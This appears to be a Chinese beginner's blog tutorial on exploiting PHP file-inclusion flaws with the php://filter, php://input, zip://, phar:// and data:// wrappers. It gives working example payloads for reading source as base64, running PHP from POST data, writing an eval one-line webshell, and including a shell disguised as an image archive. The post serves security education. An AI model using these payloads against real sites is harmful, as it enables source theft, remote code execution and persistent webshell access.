网安入门15-文件包含(伪协议总结)

php://[输入输出流]

跟**http://**一样,这是php的一个特定的协议格式,统称为伪协议,这是所有伪协议的父类
php:// 可用于以下目的:

  1. 读取来自用户输入的数据
  2. 写入数据到客户端浏览器
  3. 记录错误信息

php://filter

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

说明

php://filter可获取指定文件源码,如果再利用包含函数漏洞,php://filter流会被当作php文件执行,一般对其进行编码,使其不被执行,获取到编码后解码,从而达到任意文件的读取

用法

两个用法本质一样

  1. ?filename=php://filter/read=convert.base64-encode/resource=[文件名]
    http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
  2. ?filename=php://filter/convert.base64-encode/resource=[文件名]
    http://127.0.0.1/include.php?filename=php://filter/convert.base64-encode/resource=phpinfo.php

php://input

条件
  • allow_url_fopen:off/on
  • allow_url_include:on
作用

可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分

说明
  • POST提交PHP代码,造成任意代码执行,如写入文件(木马)。php://input可以访问请求的原始数据的只读流,即可以直接读取到POST上没有经过解析的原始数据。
  • enctype="multipart/form-data”的时候php://input是无效的。
用法

php://input + [POST DATA]执行在post体中的php代码

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

若有写入的权限,可以写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['123'])?>');?>

zip://

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

属于压缩流,php解压缩包的一个函数,不管后缀是什么,可修改为任意后缀像是jpg png gif,都会当做压缩包来解压。

说明
  • PHP>=5.3.0,注意在windows"下测试要5.3.0<PHP<5.4才可以
  • #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。
用法

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名](#编码为%23)
压缩shell.php为shell.zip,压缩包重命名为shell.jpg,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\shell.jpg%23shell.php

phar://

条件
  • allow_url_fopen:off/on
  • allow_url_include:off/on
作用

与zip://类似,同样可以访问zip格式压缩包内容

说明
  • PHP>=5.3.0;压缩包需要是zip协议压缩,rar不行

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术,因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。
利用 phar 拓展 php 反序列化漏洞攻击面

用法

?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
压缩shell.php为shell.zip,压缩包重命名为shell.png,并上传到目标服务器(zip)
http://127.0.0.1/include.php?file=phar://E:\phpStudy\PHPTutorial\WWW\shell.png/shell.php

data://

条件
  • allow_url_fopen:on
  • allow_url_include:on
作用

数据流封装器,和php:/相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;

说明

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法
  1. data://text/plain,
    http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
  2. data://text/plain;base64,
    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
  • 25
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

挑不动

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值